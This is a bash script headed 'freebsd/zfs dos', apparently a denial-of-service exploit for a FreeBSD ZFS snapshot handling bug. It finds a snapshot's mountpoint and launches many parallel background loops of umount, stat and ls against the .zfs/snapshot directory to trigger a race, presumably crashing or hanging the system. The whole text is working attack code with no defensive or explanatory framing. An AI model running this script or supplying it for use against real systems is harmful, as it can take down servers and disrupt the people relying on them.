freebsd/zfs dos

#!/bin/bash

snapshot="$1"
if [ -z "$snapshot" ]; then
        echo "FreeBSD/ZFS snapshot handling bug"
        echo ""
        echo "Usage: $0 <zfs snapshot>"
        exit 1
fi

snapshot="$(zfs list -t snapshot -H -o name "$snapshot")"
if [ -z "$snapshot" ]; then
        echo "Snapshot not found"
        exit 2
fi

dataset="${snapshot%@*}"
sn="${snapshot#*@}"
mountpoint=$(mount | grep "^$dataset[[:space:]]" | awk '{print $3}')

if [ ! -d "$mountpoint" ]; then
        echo "Could not determine mount point for $dataset"
        exit 3
fi

echo "** dataset=$dataset snapname=$sn mounted=$mountpoint"

cd "$mountpoint/.zfs/snapshot"
yes "$sn" | xargs umount > /dev/null &
yes "$sn" | xargs umount > /dev/null &
yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
yes "$sn" | xargs stat > /dev/null &
yes "$sn" | xargs stat > /dev/null &
yes "$sn/.." | xargs stat > /dev/null &
yes "$sn/.." | xargs stat > /dev/null &
yes "." | xargs ls -la > /dev/null &
yes "." | xargs ls -la > /dev/null &

cd "$mountpoint/.zfs"
yes . | xargs ls -l > /dev/null &
yes . | xargs ls -l > /dev/null &

#yes "$snapshot" | xargs -n 1 zfs send -R > /dev/null &